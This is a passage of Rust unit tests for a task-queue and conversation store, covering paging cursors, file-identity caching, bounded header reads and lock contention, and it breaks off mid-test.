27149        question.run = "run-child".into();
27150        question.node = "review".into();
27151        for origin_task in [Some(parent.id.clone()), None] {
27152            child.followup.as_mut().unwrap().origin_task = origin_task;
27153            ui.queue.put(&mut child).unwrap();
27154            let (tasks, talks, _watches) =
27155                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27156            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27157            let expected =
27158                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27159                    .unwrap();
27160            assert_eq!(actual.id, expected.id);
27161            assert!(!actual.status.open());
27162            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27163            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27164            // Without Unix file identity, every readable record must be
27165            // reparsed to detect same-size, same-mtime replacements safely.
27166            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27167            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27168        }
27169        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27170        ui.queue.put(&mut child).unwrap();
27171        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27172        let (tasks, talks, _watches) =
27173            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27174        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27175        child.origin_chat = Some(chat_id.clone());
27176        ui.queue.put(&mut child).unwrap();
27177        let (tasks, talks, _watches) =
27178            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27179        assert_eq!(
27180            crate::consult::origin_talk(&tasks, &talks, &question)
27181                .unwrap()
27182                .id,
27183            chat_id
27184        );
27185        let revision = question_record_revision(&question);
27186        question.abandon("settled elsewhere");
27187        assert_ne!(revision, question_record_revision(&question));
27188        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27189        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27190        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27191        let (tasks, talks, _watches) =
27192            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27193        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27194    }
27195
27196    #[test]
27197    fn list_cursors_freeze_membership_and_expire_explicitly() {
27198        let home = tempfile::tempdir().unwrap();
27199        let ui = delta_test_ui(home.path());
27200        std::fs::create_dir_all(ui.queue.root()).unwrap();
27201        for i in 0..40 {
27202            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27203        }
27204        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27205        assert_eq!(first.len(), STORE_PAGE_SIZE);
27206        let cursor = cursor.unwrap();
27207        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27208        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27209        let (second, _) = page_ids(
27210            &ui,
27211            false,
27212            PageQuery {
27213                before: Some(cursor.clone()),
27214            },
27215        )
27216        .unwrap();
27217        assert_eq!(second[0], "record-0023");
27218        assert!(second.iter().all(|id| !first.contains(id)));
27219        assert!(
27220            page_ids(
27221                &ui,
27222                true,
27223                PageQuery {
27224                    before: Some(cursor.clone())
27225                }
27226            )
27227            .is_err()
27228        );
27229        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27230        assert_eq!(fresh[0], "record-9999");
27231        ui.monitor.list_walks.lock().unwrap().clear();
27232        assert!(
27233            page_ids(
27234                &ui,
27235                false,
27236                PageQuery {
27237                    before: Some(cursor)
27238                }
27239            )
27240            .is_err()
27241        );
27242    }
27243
27244    #[tokio::test]
27245    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27246        let home = tempfile::tempdir().unwrap();
27247        let ui = delta_test_ui(home.path());
27248        // Every closed conversation is newer by ID than every open conversation.
27249        for i in 0..23 {
27250            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27251        }
27252        for i in 0..45 {
27253            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27254        }
27255        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27256        let first = talks_page(
27257            State(ui.clone()),
27258            Query(PageQuery::default()),
27259            header::HeaderMap::new(),
27260        )
27261        .await
27262        .unwrap()
27263        .0;
27264        assert_eq!(
27265            first.rows.iter().filter(|row| row.status.open()).count(),
27266            23
27267        );
27268        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27269        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27270        let parsed = ui
27271            .monitor
27272            .talk_parses
27273            .load(std::sync::atomic::Ordering::Relaxed);
27274        assert_eq!(
27275            parsed,
27276            first.rows.len(),
27277            "closed bodies outside this page are not restored"
27278        );
27279        let fresh = talks_page(
27280            State(ui.clone()),
27281            Query(PageQuery::default()),
27282            header::HeaderMap::new(),
27283        )
27284        .await
27285        .unwrap()
27286        .0;
27287        assert_eq!(fresh.rows.len(), first.rows.len());
27288        assert_eq!(
27289            ui.monitor
27290                .talk_parses
27291                .load(std::sync::atomic::Ordering::Relaxed),
27292            parsed
27293        );
27294        let mut seen: std::collections::HashSet<_> =
27295            first.rows.iter().map(|row| row.id.clone()).collect();
27296        // Status changes keep their original membership position until refresh.
27297        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27298        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27299        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27300        let mut next = first.next;
27301        while let Some(cursor) = next {
27302            let page = talks_page(
27303                State(ui.clone()),
27304                Query(PageQuery {
27305                    before: Some(cursor),
27306                }),
27307                header::HeaderMap::new(),
27308            )
27309            .await
27310            .unwrap()
27311            .0;
27312            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27313            for row in page.rows {
27314                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27315            }
27316            next = page.next;
27317        }
27318        let expected: HashSet<_> = (0..23)
27319            .map(|i| format!("20260101-000000-{i:03}"))
27320            .chain(
27321                (0..45)
27322                    .filter(|i| *i != 1)
27323                    .map(|i| format!("20261019-000000-{i:03}")),
27324            )
27325            .collect();
27326        assert_eq!(
27327            seen, expected,
27328            "the cursor walk must return every surviving ID"
27329        );
27330        let refreshed = talks_page(
27331            State(ui.clone()),
27332            Query(PageQuery::default()),
27333            header::HeaderMap::new(),
27334        )
27335        .await
27336        .unwrap()
27337        .0;
27338        assert_eq!(
27339            refreshed
27340                .rows
27341                .iter()
27342                .filter(|row| row.status.open())
27343                .count(),
27344            23
27345        );
27346        assert!(
27347            refreshed
27348                .rows
27349                .iter()
27350                .any(|row| row.id == "20261019-000000-000")
27351        );
27352        assert!(
27353            !refreshed
27354                .rows
27355                .iter()
27356                .any(|row| row.id == "20260101-000000-000")
27357        );
27358    }
27359
27360    #[test]
27361    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27362        let home = tempfile::tempdir().unwrap();
27363        let ui = delta_test_ui(home.path());
27364        for i in 0..STORE_PAGE_SIZE + 5 {
27365            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27366        }
27367        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27368        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27369        assert!(next.is_none());
27370    }
27371
27372    #[test]
27373    fn chat_status_promotes_closed_owner_goal_in_header() {
27374        let home = tempfile::tempdir().unwrap();
27375        let ui = delta_test_ui(home.path());
27376        for i in 0..STORE_PAGE_SIZE + 5 {
27377            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27378        }
27379        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27380        let path = ui.talks.path_of(&id);
27381        let mut raw: serde_json::Value =
27382            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27383        raw["goals"] = serde_json::json!([{
27384            "id": "g", "purpose": "ship", "scope": "task",
27385            "condition": {"description": "done", "kind": "tasks_done"},
27386            "state": "owner", "step": "decision", "source_turn": 0,
27387            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27388            "evidence": "", "wake": 0, "handled": 0, "started": null,
27389            "wakes": 0, "last_checked": null, "fingerprint": ""
27390        }]);
27391        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27392        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27393        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27394        assert!(ids.contains(&id));
27395        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27396        let row = rows.iter().find(|row| row.id == id).unwrap();
27397        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27398        {
27399            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27400            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27401            assert!(cache.len() > STORE_PAGE_SIZE);
27402        }
27403        // A second request must retain the projection even for promoted rows.
27404        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27405        assert!(again.contains(&id));
27406        // A same-length rewrite preserving write time still changes identity.
27407        let modified = path.metadata().unwrap().modified().unwrap();
27408        raw["goals"][0]["state"] = serde_json::json!("paused");
27409        raw["goals"][0]["step"] = serde_json::json!("waiting");
27410        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27411        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27412        std::fs::OpenOptions::new()
27413            .write(true)
27414            .open(&path)
27415            .unwrap()
27416            .set_modified(modified)
27417            .unwrap();
27418        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27419        assert!(!changed.contains(&id));
27420        // A legacy file with goals after turns is deferred to its history page.
27421        let mut raw = serde_json::to_value(&chat).unwrap();
27422        raw["goals"][0]["state"] = serde_json::json!("owner");
27423        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27424        let mut body = serde_json::to_string(&raw).unwrap();
27425        body.pop();
27426        body.push_str(&format!(",\"goals\":{goals}}}"));
27427        std::fs::write(&path, body).unwrap();
27428        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27429        assert!(!initial.contains(&id));
27430        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27431        assert_eq!(
27432            rows[0].chat_status.kind,
27433            crate::chat_status::Kind::NeedsOwner
27434        );
27435    }
27436
27437    #[test]
27438    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27439        let home = tempfile::tempdir().unwrap();
27440        let ui = delta_test_ui(home.path());
27441        let id = seed_talk_at(&ui.talks, "chat", "open");
27442        let before = monitor_scan(&ui, None);
27443        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27444        let during = monitor_scan(&ui, Some(before.clone()));
27445        assert_ne!(during.0.3, before.0.3);
27446        drop(lease);
27447        let after = monitor_scan(&ui, Some(during));
27448        assert_eq!(after.0.3, before.0.3);
27449    }
27450
27451    #[test]
27452    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27453        struct Counted<R> {
27454            inner: R,
27455            bytes: usize,
27456        }
27457        impl<R: std::io::Read> std::io::Read for Counted<R> {
27458            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27459                let n = self.inner.read(buf)?;
27460                self.bytes += n;
27461                Ok(n)
27462            }
27463        }
27464        let home = tempfile::tempdir().unwrap();
27465        let ui = delta_test_ui(home.path());
27466        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27467        let mut chat = ui.talks.get(&id).unwrap();
27468        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27469            chat.turns = vec![
27470                serde_json::from_value(serde_json::json!({
27471                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27472                }))
27473                .unwrap(),
27474            ];
27475            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27476                chat.status = status;
27477                // Exercise the actual on-disk serializer, including its field order.
27478                let body = serde_json::to_vec_pretty(&chat).unwrap();
27479                let mut reader = Counted {
27480                    inner: body.as_slice(),
27481                    bytes: 0,
27482                };
27483                assert_eq!(read_talk_status(&mut reader), Some(status));
27484                assert!(
27485                    reader.bytes <= 1024,
27486                    "header classification read {} bytes",
27487                    reader.bytes
27488                );
27489            }
27490        }
27491        // Noncanonical field order must neither traverse a transcript nor hide
27492        // an open row. Its real status is validated by the ordinary row reader.
27493        let noncanonical = format!(
27494            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27495            "x".repeat(1024 * 1024)
27496        );
27497        let mut reader = Counted {
27498            inner: noncanonical.as_bytes(),
27499            bytes: 0,
27500        };
27501        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27502        assert!(reader.bytes <= 1024);
27503        let legacy = format!(
27504            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27505            "x".repeat(1024 * 1024)
27506        );
27507        let mut reader = Counted {
27508            inner: legacy.as_bytes(),
27509            bytes: 0,
27510        };
27511        assert!(!read_owner_goal(&mut reader));
27512        assert!(reader.bytes <= 1024);
27513        let oversized = format!(
27514            r#"{{"agent":"{}","status":"open"}}"#,
27515            "x".repeat(128 * 1024)
27516        );
27517        let mut reader = Counted {
27518            inner: oversized.as_bytes(),
27519            bytes: 0,
27520        };
27521        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27522        assert!(reader.bytes <= 64 * 1024);
27523    }
27524
27525    #[test]
27526    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27527        let home = tempfile::tempdir().unwrap();
27528        let ui = delta_test_ui(home.path());
27529        seed_talk_at(&ui.talks, "header-chat", "open");
27530        std::fs::create_dir_all(ui.queue.root()).unwrap();
27531        let (started, ready) = std::sync::mpsc::channel();
27532        let (release, wait) = std::sync::mpsc::channel();
27533        let chat_ui = ui.clone();
27534        let scan = std::thread::spawn(move || {
27535            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27536                started.send(()).unwrap();
27537                wait.recv().unwrap();
27538                open_talk_ids(ui, ids)
27539            })
27540            .unwrap()
27541        });
27542        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27543        let (finished, result) = std::sync::mpsc::channel();
27544        let queue = std::thread::spawn(move || {
27545            finished
27546                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27547                .unwrap();
27548        });
27549        let completed = result.recv_timeout(Duration::from_secs(2));
27550        // Release and join both workers even if the regression returns.
27551        release.send(()).unwrap();
27552        scan.join().unwrap();
27553        queue.join().unwrap();
27554        assert!(
27555            completed.unwrap(),
27556            "queue paging must not wait for chat header I/O"
27557        );
27558    }
27559
27560    #[test]
27561    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27562        let home = tempfile::tempdir().unwrap();
27563        let ui = delta_test_ui(home.path());
27564        let ids = vec!["changing-chat".to_owned()];
27565        seed_talk_at(&ui.talks, &ids[0], "closed");
27566        assert!(open_talk_ids(&ui, &ids).is_empty());
27567        seed_talk_at(&ui.talks, &ids[0], "open");
27568        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27569            let value: serde_json::Value =
27570                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27571            // Replace the file after parsing, before its identity is checked again.
27572            seed_talk_at(&ui.talks, &ids[0], "closed");
27573            serde_json::from_value(value["status"].clone()).ok()
27574        });
27575        assert!(open.contains(&ids[0]));
27576        assert!(
27577            ui.monitor
27578                .talk_status_index
27579                .lock()
27580                .unwrap()
27581                .records
27582                .is_empty()
27583        );
27584        assert!(open_talk_ids(&ui, &ids).is_empty());
27585        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27586    }
27587
27588    #[test]
27589    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27590        let home = tempfile::tempdir().unwrap();
27591        let ui = delta_test_ui(home.path());
27592        let ids = vec!["same-stamp-chat".to_owned()];
27593        seed_talk_at(&ui.talks, &ids[0], "open");
27594        // Model a non-Unix metadata collision deterministically: the old
27595        // classification has a fingerprint equal to the current file's.
27596        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27597            ids[0].clone(),
27598            (
27599                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27600                Some(talk::TalkStatus::Closed),
27601            ),
27602        );
27603        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27604            std::fs::File::open(path).ok().and_then(read_talk_status)
27605        });
27606        assert!(
27607            open.contains(&ids[0]),
27608            "an untrusted cache hit must still read the current header"
27609        );
27610        assert!(
27611            ui.monitor
27612                .talk_status_index
27613                .lock()
27614                .unwrap()
27615                .records
27616                .is_empty()
27617        );
27618        seed_talk_at(&ui.talks, &ids[0], "closed");
27619        assert!(
27620            open_talk_ids_with(&ui, &ids, false, |path| {
27621                std::fs::File::open(path).ok().and_then(read_talk_status)
27622            })
27623            .is_empty()
27624        );
27625        let index = ui.monitor.talk_status_index.lock().unwrap();
27626        assert_eq!(index.parses, 2);
27627        assert!(
27628            index.records.is_empty(),
27629            "untrusted fingerprints must never publish cache entries"
27630        );
27631    }
27632
27633    #[test]
27634    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27635        let home = tempfile::tempdir().unwrap();
27636        let ui = delta_test_ui(home.path());
27637        let headers = header::HeaderMap::new();
27638        seed_talk_at(&ui.talks, "open-chat", "open");
27639        seed_talk_at(&ui.talks, "closed-chat", "closed");
27640        talk_rows(
27641            &ui,
27642            vec!["open-chat".into(), "closed-chat".into()],
27643            &headers,
27644        );
27645        {
27646            let mut index = ui.monitor.talk_index.lock().unwrap();
27647            let closed = index["closed-chat"].1.clone();
27648            for i in 0..1000 {
27649                index.insert(
27650                    format!("cached-closed-{i}"),
27651                    (
27652                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27653                        closed.clone(),
27654                    ),
27655                );
27656            }
27657        }
27658        assert_eq!(
27659            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27660            1
27661        );
27662        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27663        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27664        assert_eq!(
27665            ui.monitor
27666                .talk_parses
27667                .load(std::sync::atomic::Ordering::Relaxed),
27668            2
27669        );
27670        {
27671            let mut index = ui.monitor.talk_index.lock().unwrap();
27672            let open = index["open-chat"].1.clone();
27673            for i in 0..1000 {
27674                index.insert(
27675                    format!("cached-open-{i}"),
27676                    (
27677                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27678                        open.clone(),
27679                    ),
27680                );
27681            }
27682        }
27683        // Even when open rows exceed the bound, keep the currently requested rows.
27684        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27685        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27686        assert_eq!(
27687            ui.monitor
27688                .talk_parses
27689                .load(std::sync::atomic::Ordering::Relaxed),
27690            2
27691        );
27692    }
27693
27694    #[test]
27695    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27696        let home = tempfile::tempdir().unwrap();
27697        let ui = delta_test_ui(home.path());
27698        std::fs::create_dir_all(ui.talks.root()).unwrap();
27699        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27700        for id in &ids {
27701            std::fs::write(
27702                ui.talks.path_of(id),
27703                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27704            )
27705            .unwrap();
27706        }
27707        assert!(open_talk_ids(&ui, &ids).is_empty());
27708        assert_eq!(
27709            ui.monitor.talk_status_index.lock().unwrap().parses,
27710            ids.len()
27711        );
27712        assert!(open_talk_ids(&ui, &ids).is_empty());
27713        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27714        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27715        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27716        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27717        assert_eq!(
27718            open_talk_ids(&ui, &ids),
27719            std::collections::HashSet::from([ids[0].clone()])
27720        );
27721        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27722        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27723        assert_eq!(parsed, reused + refreshed);
27724        open_talk_ids(&ui, &ids);
27725        assert_eq!(
27726            ui.monitor.talk_status_index.lock().unwrap().parses,
27727            parsed + if cfg!(unix) { 0 } else { ids.len() },
27728            "only reliable file identity permits caching, including unreadable rows"
27729        );
27730        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27731        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27732        assert!(
27733            !ui.monitor
27734                .talk_status_index
27735                .lock()
27736                .unwrap()
27737                .records
27738                .contains_key(&ids[0])
27739        );
27740        assert!(
27741            ui.monitor.talk_index.lock().unwrap().is_empty(),
27742            "classification never caches bodies"
27743        );
27744    }
27745
27746    #[tokio::test]
27747    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27748        let home = tempfile::tempdir().unwrap();
27749        let ui = delta_test_ui(home.path());
27750        let mut task = Task::new(
27751            "task".into(),
27752            "body".into(),
27753            PathBuf::from("/repo"),
27754            Source::Human,
27755        );
27756        ui.queue.put(&mut task).unwrap();
27757        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27758        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27759        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27760        let expected = parsed + usize::from(!cfg!(unix));
27761        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27762        task.status = crate::queue::TaskStatus::Held;
27763        ui.queue.put(&mut task).unwrap();
27764        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27765        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27766        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27767        ui.queue.put(&mut task).unwrap();
27768        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27769        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27770        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27771    }
27772
27773    #[tokio::test]
27774    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27775        let home = tempfile::tempdir().unwrap();
27776        let ui = delta_test_ui(home.path());
27777        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27778        let before = health(State(ui.clone())).await.unwrap().0;
27779        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27780        let after = health(State(ui)).await.unwrap().0;
27781        assert_ne!(before.notifications_rev, after.notifications_rev);
27782        assert_eq!(after.notifications_unread, 1);
27783    }
27784
27785    #[tokio::test]
27786    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27787        let home = tempfile::tempdir().unwrap();
27788        let ui = delta_test_ui(home.path());
27789        let queue = &ui.queue;
27790        let talks = &ui.talks;
27791        for i in 0..1000 {
27792            let id = format!("20261019-{i:06}-page");
27793            let mut task = Task::new(
27794                "task".into(),
27795                "instruction".repeat(100),
27796                PathBuf::from("/repo/magi"),
27797                Source::Human,
27798            );
27799            task.id = id.clone();
27800            if i == 0 {
27801                task.status = crate::queue::TaskStatus::Held;
27802            } else if i == 999 {
27803                task.status = crate::queue::TaskStatus::Blocked;
27804                task.blocked_by = vec!["20261019-000000-page".into()];
27805            }
27806            queue.put(&mut task).unwrap();
27807            seed_talk_at(talks, &id, "closed");
27808        }
27809        let page = serde_json::to_value(
27810            queue_page(State(ui.clone()), Query(PageQuery::default()))
27811                .await
27812                .unwrap()
27813                .0,
27814        )
27815        .unwrap();
27816        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27817        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27818        assert!(
27819            !page["rows"][0]["stuck_roots"]
27820                .as_array()
27821                .unwrap()
27822                .is_empty()
27823        );
27824        let cursor = page["next"].as_str().unwrap();
27825        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27826            .as_str()
27827            .unwrap();
27828        // Deleting an already enumerated file cannot shift or repeat a page.
27829        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27830        let next = serde_json::to_value(
27831            queue_page(
27832                State(ui.clone()),
27833                Query(PageQuery {
27834                    before: Some(cursor.into()),
27835                }),
27836            )
27837            .await
27838            .unwrap()
27839            .0,
27840        )
27841        .unwrap();
27842        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27843        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27844        let chats = serde_json::to_value(
27845            talks_page(
27846                State(ui.clone()),
27847                Query(PageQuery::default()),
27848                header::HeaderMap::new(),
27849            )
27850            .await
27851            .unwrap()
27852            .0,
27853        )
27854        .unwrap();
27855        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27856        assert!(chats["rows"][0].get("pending").is_none());
27857        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27858        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27859        assert_eq!(counts["held"], 1);
27860        assert_eq!(counts["blocked"], 1);
27861        assert_eq!(counts["queued"], 997);
27862    }
27863
27864    #[test]
27865    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27866        let dir = tempfile::tempdir().unwrap();
27867        let ui = delta_test_ui(dir.path());
27868        let mut task = Task::new(
27869            "task".into(),
27870            "body".into(),
27871            PathBuf::from("/repo"),
27872            Source::Human,
27873        );
27874        task.runs = vec!["run-a".into()];
27875        ui.queue.put(&mut task).unwrap();
27876        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27877        task.runs = vec!["run-b".into()];
27878        let path = ui.queue.path_of(&task.id);
27879        let modified = path.metadata().unwrap().modified().unwrap();
27880        let replacement = path.with_extension("replacement");
27881        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27882        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27883        std::fs::write(&replacement, &bytes).unwrap();
27884        std::fs::File::options()
27885            .write(true)
27886            .open(&replacement)
27887            .unwrap()
27888            .set_times(std::fs::FileTimes::new().set_modified(modified))
27889            .unwrap();
27890        std::fs::rename(&replacement, &path).unwrap();
27891        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27892        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27893        std::fs::write(&path, "broken").unwrap();
27894        assert!(ui.find_task_for_run("run-b").is_err());
27895        std::fs::write(&path, bytes).unwrap();
27896        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27897        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27898        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27899    }
27900
27901    #[tokio::test]
27902    async fn conversation_core_is_independent_of_unreadable_related_history() {
27903        let home = tempfile::tempdir().unwrap();
27904        let ui = delta_test_ui(home.path());
27905        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27906        std::fs::create_dir_all(ui.queue.root()).unwrap();
27907        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27908        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27909            .await
27910            .unwrap();
27911        assert_eq!(core.talk.id, id);
27912        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27913    }
27914
27915    #[test]
27916    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27917        let home = tempfile::tempdir().unwrap();
27918        let ui = delta_test_ui(home.path());
27919        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27920        let directory = home.path().join("workers/jobs/abcdef");
27921        std::fs::create_dir_all(&directory).unwrap();
27922        let job = crate::worker::Job {
27923            id: "abcdef".into(),
27924            sequence: 1,
27925            kind: "chat".into(),
27926            key: id.clone(),
27927            payload: serde_json::json!({ "talk": id }),
27928            generation: "test".into(),
27929            version: None,
27930            status: crate::worker::Status::Running,
27931            result: None,
27932            pid: None,
27933            created_at: 0,
27934            finished_at: None,
27935        };
27936        std::fs::write(
27937            directory.join("job.json"),
27938            serde_json::to_vec(&job).unwrap(),
27939        )
27940        .unwrap();
27941        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27942        let store =
27943            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27944        let runtime = tokio::runtime::Builder::new_current_thread()
27945            .enable_all()
27946            .max_blocking_threads(1)
27947            .build()
27948            .unwrap();
27949        runtime.block_on(async {
27950            let (release, held) = std::sync::mpsc::channel();
27951            let (started, ready) = tokio::sync::oneshot::channel();
27952            let occupied = tokio::task::spawn_blocking(move || {
27953                started.send(()).unwrap();
27954                held.recv().unwrap();
27955            });
27956            ready.await.unwrap();
27957            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27958            let bulk = ui
27959                .monitor
27960                .bulk_slots
27961                .clone()
27962                .acquire_many_owned(2)
27963                .await
27964                .unwrap();
27965            let result = tokio::time::timeout(
27966                Duration::from_secs(2),
27967                talk_core(State(ui.clone()), Path(id.clone())),
27968            )
27969            .await;
27970            // Release all blockers before assertions, including on a regression.
27971            drop(store);
27972            drop(bulk);
27973            release.send(()).unwrap();
27974            occupied.await.unwrap();
27975            let _ = secondary.await.unwrap().unwrap();
27976            let Json(core) = result
27977                .expect("transcript must bypass secondary work and the worker store lock")
27978                .unwrap();
27979            assert!(
27980                core.thinking,
27981                "read-only observation retains live worker state"
27982            );
27983            assert_eq!(core.talk.id, id);
27984            let admission_ui = ui.clone();
27985            let (release, held) = std::sync::mpsc::channel();
27986            let (started, ready) = tokio::sync::oneshot::channel();
27987            let admission = std::thread::spawn(move || {
27988                let _lock = admission_ui.talk_turns.lock().unwrap();
